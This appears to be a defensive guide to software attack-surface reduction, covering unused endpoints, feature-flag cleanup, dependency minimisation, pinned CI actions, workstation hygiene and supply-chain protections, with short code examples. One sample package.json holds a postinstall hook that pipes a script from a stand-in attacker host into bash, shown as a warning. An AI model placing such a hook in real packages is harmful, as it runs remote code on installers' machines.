Software Attack Surface Reduction

# Find API endpoints with zero traffic
# (Requires access logs analysis)

# Example with nginx logs
cat access.log | awk '{print $7}' | sort | uniq -c | sort -rn | tail -100

# Or with application metrics
# Check your APM tool (Datadog, New Relic) for endpoints with:
# - Zero requests in 90 days
# - High error rates (broken, unmaintained)
# - No test coverage

For each API endpoint, ask:

1. **Is it documented?** If not, who uses it?
2. **Is it tested?** If not, does it even work?
3. **When was it last called?** If >90 days, candidate for removal
4. **What data does it expose?** Is that necessary?
5. **Who can call it?** Public, authenticated, admin only?
6. **What's the business value?** Can't articulate = candidate for removal

// Go example: Compile-time flag to remove debug code
// +build !production

package debug

func ExposeInternalMetrics() {
    // This entire function is not compiled in production builds
}

// Build commands:
// Development: go build
// Production: go build -tags production

# Python example: Environment-based endpoint disabling
from flask import Flask, jsonify
import os

app = Flask(__name__)

@app.route('/debug/state')
def debug_state():
    if os.getenv('ENVIRONMENT') == 'production':
        return jsonify({"error": "Not found"}), 404
    
    # Only works in dev/staging
    return jsonify(internal_state)

// Document expiry date in flag definition
const featureFlags = {
  newCheckoutFlow: {
    enabled: true,
    createdDate: '2024-01-15',
    expiryDate: '2024-03-15',  // Must be removed by this date
    owner: 'checkout-team',
    jira: 'PROJ-1234'
  }
}

// Automated cleanup check
function checkExpiredFlags() {
  const now = new Date();
  Object.entries(featureFlags).forEach(([name, config]) => {
    if (new Date(config.expiryDate) < now) {
      throw new Error(`Feature flag '${name}' expired on ${config.expiryDate} - remove it!`);
    }
  });
}

# Monthly audit: Find old feature flags
grep -r "feature_flag\|featureFlag" src/ | \
  grep -E "20(20|21|22)" | \  # Find flags from old years
  sort | uniq

# Each should be either:
# 1. Removed (flag and code)
# 2. Made permanent (remove flag, keep code)
# 3. Justified (documented reason for keeping)

# DON'T DO THIS - tiny dependency for simple task
import leftpad  # 11 lines of code as an npm package

def format_user_name(name):
    return leftpad(name, 20)

# DO THIS - write the 2 lines yourself
def format_user_name(name):
    return name.ljust(20)

# npm: Check for suspicious packages
npm audit

# Find packages with single maintainer
npm view <package> maintainers

# Check dependency tree depth
npm ls --depth=5

# Python: Check dependencies
pip list --outdated
pipdeptree  # Visualize dependency tree

# Ruby
bundle audit check --update

# Go
go list -m all

// BAD: Pulling in 50MB of dependencies for 3 endpoints
const express = require('express');
const bodyParser = require('body-parser');
const helmet = require('helmet');
const morgan = require('morgan');
const compression = require('compression');
const cors = require('cors');
// ... 20 more middleware packages

const app = express();
// Just to handle 3 API endpoints

// BETTER: Use standard library
const http = require('http');

const server = http.createServer((req, res) => {
  if (req.method === 'GET' && req.url === '/health') {
    res.writeHead(200, {'Content-Type': 'application/json'});
    res.end(JSON.stringify({status: 'ok'}));
  }
  // Handle your 3 endpoints
});

server.listen(8080);
// Zero dependencies, clear code, minimal attack surface

# Check actual installed size
du -sh node_modules/

# Example results:
express + middleware: 45MB, 312 packages
fastify: 12MB, 52 packages
standard library: 0MB, 0 packages

# .github/workflows/deploy.yml - BLOATED
name: Deploy
on: [push]
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - uses: actions/setup-node@v3
      - uses: actions/cache@v3
      - uses: some-random-action/do-thing@v1
      - uses: another-action/slack-notify@master  # Untrusted
      - uses: third-action/discord-webhook@v2
      - uses: security-scanner/scan@v1
      - uses: uploader/codecov@v2
      - uses: performance/lighthouse@v3
      - uses: seo/checker@v1
      # ... 20 more actions
      - run: npm run build
      - uses: deployment/action@v1

# .github/workflows/deploy.yml - MINIMAL
name: Deploy
on: [push]

permissions:
  contents: read
  id-token: write  # For OIDC

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      
      # Build
      - uses: actions/setup-node@v4
        with:
          node-version: '20'
      - run: npm ci
      - run: npm run build
      
      # Deploy with OIDC (no secrets)
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789012:role/GitHubActions
          aws-region: us-east-1
      
      - run: aws s3 sync ./dist s3://my-bucket/

# macOS: Check what's installed
brew list | wc -l
# Do you know what all these do?

# Check what's running
ps aux | grep -v "^USER" | wc -l
# Should be <100, not >500

# Check what's listening on ports
lsof -iTCP -sTCP:LISTEN -n -P
# Recognize all of these?

# Linux: Check installed packages
dpkg -l | wc -l  # Debian/Ubuntu
rpm -qa | wc -l  # RedHat/CentOS

# Check systemd services
systemctl list-units --type=service --state=running

# Remove unused tools
# macOS
brew list | xargs brew uninstall

# Then reinstall ONLY what you actually use
brew install git node python3

# Linux
apt list --installed | grep dev
# Review and remove

# Instead of installing every tool globally
# Use containers for project-specific tools

# Before:
npm install -g webpack webpack-cli babel eslint prettier
pip3 install ansible terraform-compliance
gem install jekyll bundler
# (Now have 50+ global packages)

# After:
docker run --rm -v "$PWD:/app" node:20 npm run build
docker run --rm -v "$PWD:/app" python:3.11 python script.py
# (Clean host system, isolated dependencies)

# Instead of global npm installs
npm install -g something  # NO

# Use npx for one-time execution
npx something  # YES

# Or install locally
npm install --save-dev something
npx something  # Runs local version

# Python: Always use virtual environments
python3 -m venv venv
source venv/bin/activate
pip install package  # Isolated

# Don't:
sudo pip3 install package  # Modifies system Python

# GitHub Actions: Only use verified actions
- uses: actions/checkout@v4  # Verified creator
- uses: aws-actions/configure-aws-credentials@v4  # Official AWS

# Avoid:
- uses: random-user/unverified-action@master  # Untrusted
- uses: totally-not-malware/helper@v1  # No verification

# Pin to specific commits (not tags, which can be moved)
- uses: actions/checkout@8e5e7e5ab8b370d6c329ec480221332ada57f0ab  # v4.1.1

# BAD: Running random Docker images
deploy:
  image: randomuser/deploy-tool:latest
  script:
    - ./deploy.sh

# GOOD: Use official images, pin versions
deploy:
  image: alpine:3.19.0  # Official, pinned
  script:
    - apk add --no-cache curl
    - ./deploy.sh

# utils.py - 5000 lines of everything
def format_date(date): ...
def send_email(to, subject, body): ...
def encrypt_password(password): ...
def charge_credit_card(card, amount): ...
def execute_sql(query): ...
def admin_override_check(user): ...
# Every module imports this

# date_utils.py
def format_date(date): ...

# email_service.py
def send_email(to, subject, body): ...

# auth_module.py
def encrypt_password(password): ...
def verify_password(password, hash): ...

# payment_module.py
def charge_credit_card(card, amount): ...

# Each module imports only what it needs

// In public/ code, this should fail linting:
import { processPayment } from '../internal/payment_processing';  // ❌ FORBIDDEN

// Use API boundaries instead:
fetch('/api/internal/process-payment', {  // ✅ Goes through auth layer
  method: 'POST',
  headers: { 'Authorization': token },
  body: JSON.stringify(paymentData)
});

// .eslintrc.js
module.exports = {
  rules: {
    'no-restricted-imports': ['error', {
      patterns: [{
        group: ['../internal/*', '../../internal/*'],
        message: 'Cannot import internal modules from public code'
      }]
    }]
  }
};

# JavaScript: Use webpack bundle analyzer
npx webpack-bundle-analyzer stats.json

# Python: Use vulture
pip install vulture
vulture .

# Go: Use deadcode
go install golang.org/x/tools/cmd/deadcode@latest
deadcode ./...

# Find files not modified in 2+ years
find src/ -type f -mtime +730 -ls
# Ask: Is this still used?

# Run tests with coverage
npm test -- --coverage
pytest --cov=src --cov-report=html

# Files with 0% coverage are candidates for removal
# (If they're not tested, they're probably not used)

// Step 1: Deprecate (add warning)
/**
 * @deprecated Use newFunction() instead. Will be removed in v3.0
 */
function oldFunction() {
  console.warn('oldFunction is deprecated');
  return newFunction();
}

// Step 2: Monitor for usage
// (Check logs for deprecation warnings)

// Step 3: Remove after grace period
// git rm old_module.js

# Hard to review - what does this actually do?
def process(data):
    return [x for sublist in [[y for y in filter(lambda z: z%2==0, 
            map(lambda a: a**2, range(item)))] for item in data] 
            for x in sublist if x > 10]

# Easy to review - clear logic
def process(data):
    results = []
    for item in data:
        for number in range(item):
            squared = number ** 2
            if squared % 2 == 0 and squared > 10:
                results.append(squared)
    return results

// Custom DSL - hard to audit
{{user.name | uppercase | truncate:20}}
{{if user.isAdmin}}
  {{include "admin-panel" with user}}
{{/if}}

// What does this actually execute?
// Can it escape the sandbox?
// Can user.isAdmin be manipulated?

// Standard JavaScript - clear and auditable
const displayName = user.name.toUpperCase().substring(0, 20);

if (user.isAdmin === true) {  // Explicit boolean check
  renderAdminPanel(user);
}

# Generate full dependency tree
npm ls --all > dependencies.txt
pip list --format=freeze > dependencies.txt

# Check for known vulnerabilities
npm audit
pip-audit
cargo audit  # Rust
bundle audit # Ruby

# Check license compliance (legal risk)
npx license-checker --summary

# Generate Software Bill of Materials (SBOM)
syft dir:. -o spdx-json > sbom.json

# Dependabot config (.github/dependabot.yml)
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 5
    # Auto-merge patch updates only
    automerged_updates:
      - match:
          dependency_type: "all"
          update_type: "semver:patch"

## Before Using Any CI/CD Action

1. **Check the source**
   - Is it from a verified creator? (GitHub verified badge)
   - Is it officially maintained? (actions/* for GitHub)
   - What's the source repository?

2. **Review the code**
   - Clone the repo: `git clone <action-repo>`
   - Read the actual code (action.yml, main.js)
   - What permissions does it request?
   - What commands does it run?

3. **Check activity**
   - Last commit date (>1 year = potentially abandoned)
   - Open issues (security issues unresolved?)
   - Download/usage stats

4. **Pin to commit SHA**
   - NOT: `uses: user/action@v1` (tag can be moved)
   - YES: `uses: user/action@1234abcd` (immutable)

# Audit your workflow files
# Check for unpinned, unverified actions

name: Audit Workflows
on: [push]
jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      
      - name: Check for unpinned actions
        run: |
          # Find actions not pinned to SHA
          grep -r "uses:" .github/workflows/ | \
            grep -v "@[0-9a-f]\{40\}" | \
            grep -v "@v[0-9]" || true
          
          # Flag for review

// package.json
{
  "name": "totally-safe-package",
  "scripts": {
    "postinstall": "curl https://evil.com/steal.sh | bash"
  }
}

# npm: Ignore scripts during install
npm install --ignore-scripts

# Then selectively run scripts for trusted packages
npm rebuild <trusted-package>

# Python: Use --no-binary to avoid precompiled wheels
pip install --no-binary :all: <package>

# Or use restricted installation
pip install --require-hashes -r requirements.txt

# Always commit lockfiles
git add package-lock.json  # npm
git add yarn.lock          # yarn
git add Pipfile.lock       # Python
git add Cargo.lock         # Rust

# Verify lockfile hasn't been tampered with
npm ci  # Installs from lockfile only, fails if mismatch

# Instead of curl | bash:
curl -sL https://tool.com/install.sh | bash  # ❌ NO

# Download, verify signature, then execute:
curl -sLO https://tool.com/binary
curl -sLO https://tool.com/binary.sig
gpg --verify binary.sig binary  # ✅ Verify
chmod +x binary
./binary

## Browser Extension Policy

1. **Separate profiles**
   - Personal: Any extensions
   - Work: Only approved, audited extensions

2. **Minimal extensions**
   - Only install what you actually use daily
   - Review permissions before installing
   - Audit installed extensions quarterly

3. **Avoid risky patterns**
   - Extension asks for "all sites" permission
   - Extension from unknown developer
   - Extension with low reviews
   - Extension that updates very frequently (why?)

## IDE Plugin Policy

1. **Vet before install**
   - Check download count
   - Read reviews
   - Review source if available
   - Check what permissions it requests

2. **Prefer official**
   - Use official language plugins
   - Avoid "helper" plugins for simple tasks
   - Question plugins that "make everything easier"

3. **Audit installed**
   - VS Code: Check `~/.vscode/extensions`
   - IntelliJ: Check installed plugins list
   - Remove unused plugins

# List VS Code extensions
code --list-extensions

# For each extension, check:
# 1. When did you install it?
# 2. Have you used it in the last month?
# 3. What permissions does it have?

# Uninstall unused
code --uninstall-extension <extension-id>